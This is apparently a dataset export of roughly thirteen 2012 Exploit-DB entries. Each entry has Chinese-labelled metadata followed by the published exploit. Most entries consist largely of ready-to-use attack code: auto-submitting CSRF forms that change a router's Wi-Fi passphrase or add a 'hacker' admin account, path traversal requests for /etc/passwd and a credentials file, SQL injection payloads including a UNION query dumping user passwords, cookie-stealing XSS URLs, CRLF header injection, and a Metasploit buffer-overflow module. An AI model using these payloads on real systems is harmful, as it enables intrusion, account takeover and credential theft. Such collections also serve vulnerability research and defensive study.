QLWD/code_shield huggingface dataset:
标题: Sitecom WLM-2501 - Cross-Site Request Forgery EDB-ID: 18597 CVE: 2012-1922 2012-1921 类型: WEBAPPS 平台: HARDWARE 发布日期: 2012-03-14 漏洞利用脚本: +--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title    : Sitecom WLM-2501 Change Wireless Passphrase
# Date             : 13-03-2012
# Author           : Ivano Binetti (http://www.ivanobinetti.com)
# Vendor site      : http://www.sitecom.com/wireless-modem-router-300n/p/859
# Version          : WLM-2501
# Tested on        : WLM-2501 (All Sitecom WL series might be is affected by these vulnerabilities)
# Original Advisory: http://ivanobinetti.blogspot.com/2012/03/sitecom-wlm-2501-change-wireless.html
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
2)Vulnerability Description
3)Exploit

+--------------------------------------------------------------------------------------------------------------------------------+

1)Introduction 
Sitecom WLM-2501 is a Wireless Modem Router 300N which uses a web management interface - listening to default on tcp/ip port 80
- and "admin" as default administrator. His default ip address is 192.168.0.1.


2)Vulnerability Description
The web interface of this router is affected by muktiple CSRF vulnerabilities which allows to change router parameters and 
- among other things - to change Wireless Passphrase.

3)Exploit 
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/admin/formWlEncrypt">
<input type="hidden" name="wlanDisabled" value="OFF"/>
<input type="hidden" name="method" value="6"/>
<input type="hidden" name="wpaAuth" value="psk"/>
<input type="hidden" name="pskFormat" value="0"/>
<input type="hidden" name="pskValue" value="newpassword"/>
<input type="hidden" name="submit-url" value="%2Fwlwpa.asp"/>
<input type="hidden" name="save" value="Apply"/>
</form>
</body>
</html>


+--------------------------------------------------------------------------------------------------------------------------------+ URL: https://www.exploit-db.com/exploits/18597
标题: PBLang Bulletin Board System - Local File Inclusion EDB-ID: 18590 CVE: 2005-2892 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-13 漏洞利用脚本: ||\\      || ||       || |-\\          //-|  ____      ________           __________  
|| \\     || ||       || | |\\        //| | |     \   |  ______|         |_______/ /
||  \\    || ||       || | | \\      // | | |  _   \  | |                       / /
||   \\   || ||       || | |  \\    //  | | | |_)  |  | |______    /\`'__\     / /
||    \\  || ||       || | |   \\  //   | | |  _  <   |  ______|   \ \ \/     / /
||     \\ || ||_______|| | |    \\//    | | | |_)  |  | |______     \ \_\    / /
||      \\|| |_________| |_|            |_| |_____/   |________|     \/_/   /_/
______________________________________________________________________________________
# Exploit Title:  [PBLang local file include vulnerability]
# Google Dork:    ["Software PBLang 4.67.16.a"]
# Date:           [12/03/2012]
# Author:         ~Pseudo:  [Number 7];
                  ~ Twitter:[@TunisianSeven];
                  ~ Blog:   [http://tunisianseven.blogspot.com/]
# Software Link:  [http://garr.dl.sourceforge.net/project/pblang/Full%20versions/PBLang%204.67.16.a%20no%20graphics/PBLang-4.67.16.a-nographics.zip]
# Version:        [4.67.16.a]
# Tested on:      [wINDOWS,Linux]
______________________________________________________________________________________
Proof of concept:
In setcookie.php
include($dbpath."/members/".$u);

In order to successfully perform this attack the attacker must have
the full path where the files are uploaded, and it is easy to get
making a request like this:

GET http://localhost/path/setcookie.php?u=../../../../../etc/passwd HTTP/1.1
Cookie: eXtplorer=eRlQPZSWiGt2zRpFlXr6qCgja6DiLumU
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

For requests like this i use acunetix :D
______________________________________________________________________________________ URL: https://www.exploit-db.com/exploits/18590
标题: asaanCart - Cross-Site Scripting / Local File Inclusion EDB-ID: 18599 CVE: 2012-5331 2012-5330 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-14 漏洞利用脚本: ______________________________________________________________________________________
# Exploit Title :[asaanCart XSS/LFI Vulnerabilities]
# Google Dork   :[intext:"smarty_ajax  AJAX-enabled Smarty plugins"]Or[inurl:"/smarty_ajax/"]
# Date          :[14/03/2012]
# Author        :[Number 7]~ Twitter:[@TunisianSeven]
                           ~ Blog   :[http://tunisianseven.blogspot.com/]
# Tested on     :[Linux]
# Software Link :[http://asaancart.wordpress.com/]
# Download2     :[http://sourceforge.net/projects/asaancart/]
# Version:      :[v-0.9]
______________________________________________________________________________________
The bug is based on smarty_ajax plugin which is included in this script and other
scripts as well !

Demo: 
Html Injection + Cross site scripting:
(for the xss you must user IExplorer Or mozilla Firefox)
===>
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/calc.php/%22onmouseover=prompt(944322)%3E%3Cu%3E%3Cbig%3E%3Cbig%3E%3Cbig%3E%3Cbig%3EInjection%20Here%3C/big%3E%3C/big%3E%3C/big%3E%3C/big%3E%3C/u%3E
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/chat.php/%22onmouseover=prompt(998415)%3E%3CBig%3E%3Cbig%3E%3Cbig%3E%3Cbig%3E%3Cu%3EHtml%20Injection%20HerE.%3C/u%3E%3C/Big%3E%3C/big%3E%3C/big%3E%3C/big%3E
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/register.php/%22onmouseover=prompt(970389)%3E%3Cbig%20style=%22color:%20rgb(204,%200,%200);%22%3E%3Cbig%3E%3Cspanstyle=%22font-weight:%20bold;%20font-style:%20italic;%20text-decoration:%20underline;%22%3EHtmlInjection.%3C/span%3E%3C/big%3E%3C/big%3E
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php/%22onmouseover=prompt(970389)%3E%3Cbig%20style=%22color:%20rgb(204,%200,%200);%22%3E%3Cbig%3E%3Cspanstyle=%22font-weight:%20bold;%20font-style:%20italic;%20text-decoration:%20underline;%22%3EHtmlInjection.%3C/span%3E%3C/big%3E%3C/big%3E
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php?_=&f=update_intro&page=1%3CScRiPt%20%3Eprompt%28949136%29%3C%2fScRiPt%3E

Local File Include:

Proof:
http://localhost/libs/smarty_ajax/index.php
lines: 29->33.

function update_intro() {
  global $t;
  header('Content-Type: text/html; charset=windows-1251');
  $t->display('introduction/' . $_GET['page'] . '.tpl');
}

Usage[LFI]:
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php?_=&f=update_intro&page=../../../../../templates\add_product
It will include the file with .tpl extension !
you can replace it with file.php%00 Or use your immagination ....
______________________________________________________________________________________ URL: https://www.exploit-db.com/exploits/18599
标题: promise webpam 2.2.0.13 - Multiple Vulnerabilities EDB-ID: 18571 CVE: 2006-2758 2005-3747 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-07 漏洞利用脚本: Promise WebPAM v2.2.0.13 Multiple Remote Vulnerabilities


Vendor: Promise Technology, Inc.
Product web page: http://www.promise.com
Affected version: 2.2.0.13

Summary: WebPAM is a web based Promise Array Management Software
that's easy-to use, designed to simplify RAID storage management.
WebPAM is specifically designed for Promise HBA. WebPAM can configure,
manage or monitor Promise RAID products remotely from a web browser
from anywhere in the world.

Desc: Input passed via the parameters 'entSortOrder' and 'entSort' in
'ent_i.jsp' script are not properly sanitised before being returned to
the user or used in SQL queries. This can be exploited to manipulate SQL
queries by injecting arbitrary SQL code. The parameters 'startTime' and
'endTime' in 'ent_i.jsp' are vulnerable to a XSS issue where the attacker
can execute arbitrary HTML and script code in a user's browser session in
context of an affected site. The parameter 'userID' in 'usr_ent.jsp' and
'usr_t.jsp' is vulnerable to HTTP Response Splitting which can be exploited
to insert arbitrary HTTP headers, which are included in a response sent to
the user.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Jetty/4.2.23 (Windows XP/5.1 x86 java/1.4.2)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5077
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5077.php


28.02.2012

---



#1 (XSS):
---------

https://labpc:8443/promise/ent_i.jsp?startTime=<script>alert("ZSL");</script>
https://labpc:8443/promise/ent_i.jsp?endTime=<script>alert("ZSL");</script>


#2 (SQLi):
----------

https://labpc:8443/promise/ent_i.jsp?entSortOrder=desc%27
https://labpc:8443/promise/ent_i.jsp?entSort=time%27
https://labpc:8443/promise/tools/sqlrun.jsp?sqlstr=[QUERY SQLi]


#3 (CRLFi):
-----------

https://labpc:8443/promise/usr_ent.jsp?userID=%0D%0AZSL%2DCustom%2DHeader%3Alove_injection
https://labpc:8443/promise/usr_t.jsp?userID=%0D%0AZSL%2DCustom%2DHeader%3Alove_injection


#4 (SCD):
---------

Ref: http://secunia.com/advisories/17659

https://labpc:8443/promise/index.jsp%00
https://labpc:8443/promise/index.jsp%20
https://labpc:8443/promise/index.jsp%5C
https://labpc:8443/promise/index.jsp#
https://labpc:8443/promise/index.jsp\ URL: https://www.exploit-db.com/exploits/18571
标题: HomeSeer HS2 and HomeSeer PRO - Multiple Vulnerabilities EDB-ID: 18567 CVE: 2011-4837 2011-4835 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-03-07 漏洞利用脚本: # HomeSeer Home Automation Software Multiple Web Vulnerabilities (0day)
# Date: 3/6/12
# Author: Silent_Dream
# Software Link: http://www.homeseer.com/pub/setuphs2_5_0_49.exe
# Version: 2.5.0.49
# Tested on: Win XP
# CERT VU#796883: http://www.kb.cert.org/vuls/id/796883
#Note: This affects both HomeSeer HS2 and HomeSeer PRO.  
#Previously reported XSS attack vector (elog) reported to CERT was fixed in 2.5.0.49 update.

A) Directory Traversal: Retrieving the users.cfg file which contains HomeSeer usernames, access levels, and encrypted passwords.

ncat 192.168.0.1 80
GET /..\Config\users.cfg HTTP/1.0

HTTP/1.0 200 OK
Server: HomeSeer
Content-Type: application/
Accept-Ranges: bytes
Content-Length: 195

2
EFBBBF6775657374,EFBBBF4853454E4332774B51364D614C53436D534D41697A48617450514D513
D3D,EFBBBF31
EFBBBF64656661756C74,EFBBBF4853454E43327A68336A307A412F585153776F7032575A54534E6
3773D3D,EFBBBF36

B) Cross-Site Request Forgery: It is possible to add a new admin user by tricking logged-in admin to visit a malicious URL.
This POC adds user "hacker" with pass "hacked" as a HomeSeer admin.

 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>HomeSeer CSRF Exploit to add new administrator account</H2>
 <form method="POST" name="form0" action="http://localhost/ctrl ">
 <input type="hidden" name="wuNEWUSERNAME" value="hacker"/>
 <input type="hidden" name="wuNEWUSERPASS" value="hacked"/>
 <input type="hidden" name="wuNEWUSERRIGHTS" value="Admin"/>
 <input type="hidden" name="wuNEWUSERADD" value="Add"/>
 <input type="hidden" name="stay_on_webusers" value="Hello"/>
 </form>
 </body>
 </html> URL: https://www.exploit-db.com/exploits/18567
标题: PHP Address Book 6.2.12 - Multiple Vulnerabilities EDB-ID: 18578 CVE: 2012-2903 2012-1912 2012-1911 2008-2566 2008-2565 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-10 漏洞利用脚本: Advisory:  PHP Address Book 6.2.12 Multiple security vulnerabilities
Advisory ID:  SSCHADV2012-007
Author:   Stefan Schurtz
Affected Software: Successfully tested on PHP Address Book 6.2.12
Vendor URL:  http://sourceforge.net/projects/php-addressbook/
Vendor Status:  informed

==========================
Vulnerability Description
==========================

PHP Address Book 6.2.12 is prone to multiple XSS and SQL-Injection vulnerabilities

==================
PoC-Exploit
==================

// (Blind) SQL-Injection
http://[target]/addressbook/edit.php?id=[sql-injection]
http://[target]/addressbook/group.php?add=Add to&group=1&selected%5b%5d=132&to_group=[sql-injection]
http://[target]/addressbook/vcard.php?id=[sql-injection]

// XSS
http://[target]/addressbook/preferences.php?from='"</script><script>alert(document.cookie)</script>
http://[target]/addressbook/index.php?group='"</script><script>alert(document.cookie)</script>

====================
Disclosure Timeline
====================

03-Mar-2012 - vendor informed

========
Credits
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References
===========

http://sourceforge.net/tracker/?group_id=157964&atid=8059299
http://www.darksecurity.de/advisories/2012/SSCHADV2012-007.txt URL: https://www.exploit-db.com/exploits/18578
标题: RazorCMS 1.2.1 Stable - Cross-Site Request Forgery (Delete Web Pages) EDB-ID: 18575 CVE: 2012-1900 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-08 漏洞利用脚本: +------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : RazorCMS <= 1.2.1 STABLE CSRF (Delete Web Pages)
# Date          : 08-03-2012
# Author        : Ivano Binetti (http://www,ivanobinetti.com)
# Software link : http://www.razorcms.co.uk/archive/core/razorCMS_core_v1_2_1_STABLE.zip
# Vendor site   : http://www.razorcms.co.uk/
# Version       : 1.2.1 STABLE and lower 
# Tested on     : Debian Squeeze (6.0) 
+------------------------------------------------------------------------------------------------------------------------------------+

Summary
1)Introduction
2)Vulnerabilities Description
3)Exploit (Delete Web Page) 
  
+------------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
"razorCMS is ideally suited to small to medium website projects, it can be run without need for a database, due to it's flat file
structure it has no need for a database meaning it can also be a cost effected method in content management, allowing it to be 
used on the cheapest of web hosts, or even free hosting".

2)Vulnerabilities Description
RazorCMS 1.2.1 STABLE (and lower)  is affected by CSRF Vulnerability which allows an attacker to delete web pages, both published 
and unpublished.

3)Exploit (Delete Web Page)  
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add ADMIN account</H2>
<form method="POST" name="form0" action="http://<razorcms_ip>:80/razorcms/admin/?action=showcats&unpub=true&slabID=2&catname=sidebar">
</body>
</html>

In this POC I've deleted web page with ID=2 
 
+------------------------------------------------------------------------------------------------------------------------------------+ URL: https://www.exploit-db.com/exploits/18575
标题: AneCMS 2e2c583 - Local File Inclusion EDB-ID: 18559 CVE: 2012-4997 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-04 漏洞利用脚本: # Exploit Title: AneCMS v.2e2c583 LFI exploit
# Date: 03.04.2012# Author: I2sec-PJH
# Software Link: https://github.com/AneGroup/AneCMS 
# Version: v.2e2c583 -----------------------------------------------------


-Description
vulnerabilities have been discovered in the index page.
-source of index.php
1. if(isset($_GET['p']))
2. include './pages/'.$_GET['p'].'.php';
3. else
4. include './pages/dash.php';
-PoC
http://localhost/acp/index.php?p=../../../../windows/system.ini%00
http://localhost/acp/index.php?p=../../../../[localfile]%00 URL: https://www.exploit-db.com/exploits/18559
标题: Rivettracker 1.03 - Multiple SQL Injections EDB-ID: 18553 CVE: 2012-4996 2012-4993 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2012-03-03 漏洞利用脚本: # Exploit Title: Multiple SQL injections in rivettracker <=1.03
# Date: 2/3/2012
# Author: Ali Raheem
# Software Link: http://www.rivetcode.com/software/rivettracker/
# Version: <=1.03
# Tested on: Linux guruplug-debian 3.1.7 #2 PREEMPT Tue Jan 3 20:19:54
MST 2012 armv5tel GNU/Linux
# Greets: spyware, dividead

RivetTracker is a php base torrent tracker. Though rivettracker is
largely designed for a trusted user environment it does have 3 levels
of access. Admin (add&delete torrents), uploader and unauthenticated
(if $hiddentracker == false). However, vulnerable files such as
torrent_functions.php can always be accessed by anyone since there is
no $hiddentracker check (epic fail).

Despite this high level of access few inputs are sanities and lines like this:
$query = "SELECT filename FROM ".$prefix."namemap WHERE info_hash = '"
. $_GET['hash'] . "'";
Found in dltorrent.php (which can be accessed by any one if
hiddentracker is false) is unforgivable.

The only check performed is to insure $_GET['hash'] is 40 chars long.
We can defeat this simply with padding with 0's if poison null bytes
are not patched we can force the SQL query to return the filename of a
file we want to view and download it.

path_to_rivettracker/dltorrent.php?hash=00000' UNION ALL SELECT '../config.php\0

With the PNB patch on php version >=5.3.4 (and backports) we still
have arbitary SQL queries but no config.php. config.php contains
passwords and usernames for admin, user and mysql database.

Other files have unsanitised inputs such as torrent_functions.php,
here we have no checks! Further more $hiddentracker isn't even
checked! And anyone has access to this file and can run SQL commands
via post.

Here's my testbench for torrent_functions.php

ali@Ali-PC:~$ cat test.htm
<form action="http://127.0.0.1/rivettracker/torrent_functions.php"
method="POST">
<input type="test" name="hash" size="100"/>
<input type="submit"/>
</form>

Depending on the privs of the database user you can raise all kinds of
hell (shell creation and arbitrary code execution.)

Enjoy. URL: https://www.exploit-db.com/exploits/18553
标题: Timesheet Next Gen 1.5.2 - Multiple SQL Injections EDB-ID: 18554 CVE: 2012-2105 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-03 漏洞利用脚本: # Exploit Title: Timesheet Next Gen 1.5.2 Multiple SQLi
# Date: 02/23/12
# Author: G13
# Software Link: https://sourceforge.net/projects/tsheetx/
# Version: 1.5.2
# Category: webapps (php)
#

##### Vulnerability #####

The login.php page has multiple SQL injection vulnerabilities. Both
the 'username' and 'password'
parameters are vulnerable to SQL Injection.

The vulnerability exists via the POST method.

##### Vendor Notification #####

02/23/12 - Vendor Notified
02/26/12 - Email sent to each developer, developer responds
02/29/12 - Confirmation by developer requested
03/02/12 - Disclosure

##### Exploit #####

http://localhost/timesheet/

POST /timesheet/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:10.0.2)
Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/timesheet/login.php
Cookie: PHPSESSID=3b624f789e37fa3bdade432da
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
redirect=&username=[SQLi]&password=[SQLi]&Login=submit URL: https://www.exploit-db.com/exploits/18554
标题: DJ Studio Pro 5.1 - '.pls' Local Stack Buffer Overflow (Metasploit) EDB-ID: 18547 CVE: 2009-4656 类型: LOCAL 平台: WINDOWS 发布日期: 2012-03-02 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DJ Studio Pro 5.1 .pls Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in DJ Studio Pro 5.1.6.5.2.
    When handling a .pls file, DJ Studio will copy the user-supplied data on the stack
    without any proper bounds checking done beforehand, therefore allowing code
    execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Sebastien Duquette',
     'Death-Shadow-Dark <death.shadow.dark[at]gmail.com>',
    ],
   'References'     =>
    [
     [ 'CVE', '2009-4656'],
     [ 'OSVDB', '58159'],
     [ 'URL', 'http://www.exploit-db.com/exploits/10827' ]
    ],
   'Payload'        =>
    {
     'Space'    => 5000,
     'BadChars' => "\x00\x0a\x3d",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     # POP EBX # POP ECX # RET 8
     # DJStudioPro.exe
     [ 'DJ Studio Pro 5.1.6.5.2', { 'Ret' => 0x014FC62D } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 30 2009',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
    ], self.class)

 end

 def exploit

  sploit = rand_text_alpha_upper(1308)
  sploit << generate_seh_payload(target.ret)
  sploit << rand_text_alpha_upper(10000)

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(sploit)

 end

end URL: https://www.exploit-db.com/exploits/18547
标题: DZCP (deV!L`z Clanportal) Witze Addon 0.9 - SQL Injection EDB-ID: 18558 CVE: 2012-5000 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-04 漏洞利用脚本: ========================================================================================
| # Title    : deV!L`z Clanportal Witze Addon Versions 0.9 SQL Injection Vulnerability
| # Author   : Easy Laster
| # Download : http://dzcp-zone.de/downloads/?action=show&id=97
| # Script   : Witze Addon Versions 0.9
| # Price    : free
| # Bug      : SQL Injection
| # Date     : 03.03.2012
| # Language : PHP
| # Status   : vulnerable
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah
======================        Proof of Concept         =================================

   [+] Vulnerability
   
   jokes/index.php?action=show&id=

   [+] Injectable
   
   jokes/index.php?action=show&id=9999999999999999999999999999+union+select+1,1,nick,pwd,1,1+from+dzp_users+where+id=1--+ URL: https://www.exploit-db.com/exploits/18558
标题: phxEventManager 2.0 Beta 5 - 'search.php' search_terms SQL Injection EDB-ID: 18549 CVE: 2012-1124 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-02 漏洞利用脚本: # Exploit Title: phxEventManager 2.0 beta 5 search.php search_terms SQL
Injection Vulnerability
# Date: 01/03/2012
# Author: skysbsb
# Software Link: http://sourceforge.net/projects/phxeventmanager/
# Version: Web Application
# Tested on: Apache/*nix
# Dork: intext: "Powered by phxEventManager"
# Code :

Exploited Link :

URL: http://vulnsite.com/path_to_pem/search.php?
POSTDATA:
datasubmit=1&searchtype=events&s_event_names=on&s_event_descriptions=on&s_event_presenters=on&s_event_contacts=on&search_terms='

Result:

MDB2 Error: syntax error, _doQuery: [Error message: Could not execute
statement] [Last executed query: SELECT * FROM pem_entries as e, pem_dates
as d WHERE e.id = d.entry_id AND () AND e.entry_status != 2 AND
d.date_status != 2 AND (e.entry_visible_to_public = 1 AND
d.date_visible_to_public = 1) AND (e.entry_status != 0 AND d.date_status !=
0) AND d.when_begin >= DATE_SUB(CURDATE(),INTERVAL 1 YEAR) ] [Native code:
1064] [Native message: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax
to use near ') AND e.entry_status != 2 AND d.date_status != 2 AND
(e.entry_visible_to_public ' at line 1]

#skysbsb mailto:skysbsb[atttt]gmail.com



-- 
David Gomes Guimar�es URL: https://www.exploit-db.com/exploits/18549